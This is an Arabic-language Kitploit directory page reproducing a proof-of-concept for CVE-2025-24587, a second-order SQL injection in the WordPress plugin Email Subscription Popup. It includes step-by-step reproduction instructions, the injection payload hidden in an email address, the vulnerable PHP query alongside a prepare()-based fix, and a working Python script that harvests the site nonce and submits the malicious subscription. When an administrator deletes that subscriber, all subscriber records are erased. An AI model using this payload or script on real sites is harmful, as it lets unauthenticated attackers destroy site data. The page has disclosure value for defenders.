Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-24587 — PoC لـ CVE-2025-24587 | Kitploit
أدوات/GitHubGitHub/dottak/cve-2025-24587
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubdottak/cve-2025-24587

CVE-2025-24587

PoC لـ CVE-2025-24587

عرض المستودع
12منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-24587

1️⃣ نوع المكوّن

إضافة ووردبريس

2️⃣ تفاصيل المكوّن

اسم المكوّن Email Subscription Popup

الإصدار المعرّض للخطر <= 1.2.23

معرّف المكوّن email-subscribe

رابط المكوّن https://wordpress.org/plugins/email-subscribe/

3️⃣ OWASP 2017: TOP 10

فئة الثغرة A3: Injection

نوع الثغرة SQL Injection

4️⃣ المتطلبات المسبقة

بدون مصادقة

5️⃣

تنزيل الأداة
تفاصيل الثغرة

👉 وصف مختصر

يقوم مستخدم غير مصرّح له (مهاجم) بالاشتراك في النشرة البريدية باستخدام عنوان بريد إلكتروني يحتوي على حمولة حقن SQL. لاحقًا، عندما ينتقل المدير إلى صفحة "إدارة المشتركين"، ويحدد عنوان البريد الإلكتروني الخبيث، ويطلب حذفه، يتم تنفيذ حمولة حقن SQL المضمّنة في عنوان البريد الإلكتروني. ونتيجة لذلك، يتم حذف جميع عناوين البريد الإلكتروني المشتركة من قاعدة البيانات.

👉 كيفية إعادة الإنتاج (PoC)

  1. جهّز موقع ووردبريس مع تفعيل إضافة "Email Subscription Popup" (الإصدار ≤ 1.2.23).
  2. شغّل ملف poc.py.txt (المرفق) باستخدام بايثون للاشتراك في النشرة البريدية بعنوان بريد إلكتروني يحتوي على حمولة تؤدي إلى تشغيل ثغرة حقن SQL:
    • عنوان البريد الإلكتروني: '/**/OR/**/1=1#@a.a
    • ملاحظة: الاشتراك باستخدام عنوان البريد الإلكتروني هذا غير ممكن عبر العميل (المتصفح) بسبب التحقق. بدلاً من ذلك، أرسل حزمة طلب HTTP مباشرة كما هو موضح في poc.py.txt.
  3. سجّل الدخول كمدير وانتقل إلى: http://localhost:8080/wp-admin/admin.php?page=email_subscription_popup_subscribers_management.
  4. حدد عنوان البريد الإلكتروني '/****/**OR**/****/1=1#@a.a وانقر على زر "حذف المشتركين المحددين" في الأسفل.
  5. ونتيجة لذلك، سيتم حذف جميع عناوين البريد الإلكتروني المشتركة.

👉 معلومات إضافية (اختياري)

[سبب الثغرة]

تحدث هذه الثغرة في الملف wp-content/plugins/email-subscribe/wp-email-subscription.php، وتحديدًا بين السطرين 2080 و2084:

root@kitploit:~
# wp-content/plugins/email-subscribe/wp-email-subscription.php 의 
# line 2083 ~ line 2084
$query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
$wpdb->query($query);

لحل هذه المشكلة، يمكنك استخدام $wpdb->prepare() المقدمة من ووردبريس. تقوم هذه الدالة بتهريب المتغيرات وتنسيقها بشكل آمن في استعلامات SQL لمنع هجمات حقن SQL.

root@kitploit:~
$query = $wpdb->prepare(
    "DELETE FROM " . $wpdb->prefix . "nl_subscriptions WHERE email = %s",
    $em
);
$wpdb->query($query);

⭐ كود الإثبات (PoC)

root@kitploit:~
import re
import string
import random
import requests

TARGET = "http://localhost:8080"

def poc():

    ####
    # 1. Retrieve the value of 'sec_string' required for email subscription
    ####
    resp = requests.get(f"{TARGET}")
    pattern = r'var nonce = \'(.{10})\';'
    match = re.search(pattern, resp.text)
    if match:
        sec_string = match.group(1)
        print("[*] sec_string: " + sec_string)
    
        ####
        # 2. Generate subscribers with random email addresses
        ####
        random_string = ''.join(random.choices(string.ascii_letters + string.digits, k=6))
        for i in range(10):
            data = {
                "action": "store_email",
                "email": f"{random_string}_{i}@example.com",
                "name": f"{random_string}_{i}",
                "is_agreed": "true",
                "sec_string": sec_string
            }
            print("[+] Successfully created subscriber #" + str(i) + " Email: " + data['email'] + ", Name: " + data['name'])
            requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
        
        ####
        # 3. Create a malicious email address to delete all subscriptions
        ####
        data = {
            "action": "store_email",
            "email": "'/**/OR/**/1=1#@a.a",
            "name": "Email mine",
            "is_agreed": "true",
            "sec_string": sec_string
        }
        print("[+] Malicious email address created Email: " + data['email'] + ", Name: " + data['name'])
        requests.post(f"{TARGET}/wp-admin/admin-ajax.php", data=data)
    else:
        print("[-] 'sec_string' not found")
    

if __name__ == "__main__":
    poc()

6️⃣ عرض توضيحي للاستغلال

video

7️⃣ المراجع

  • https://nvd.nist.gov/vuln/detail/CVE-2025-24587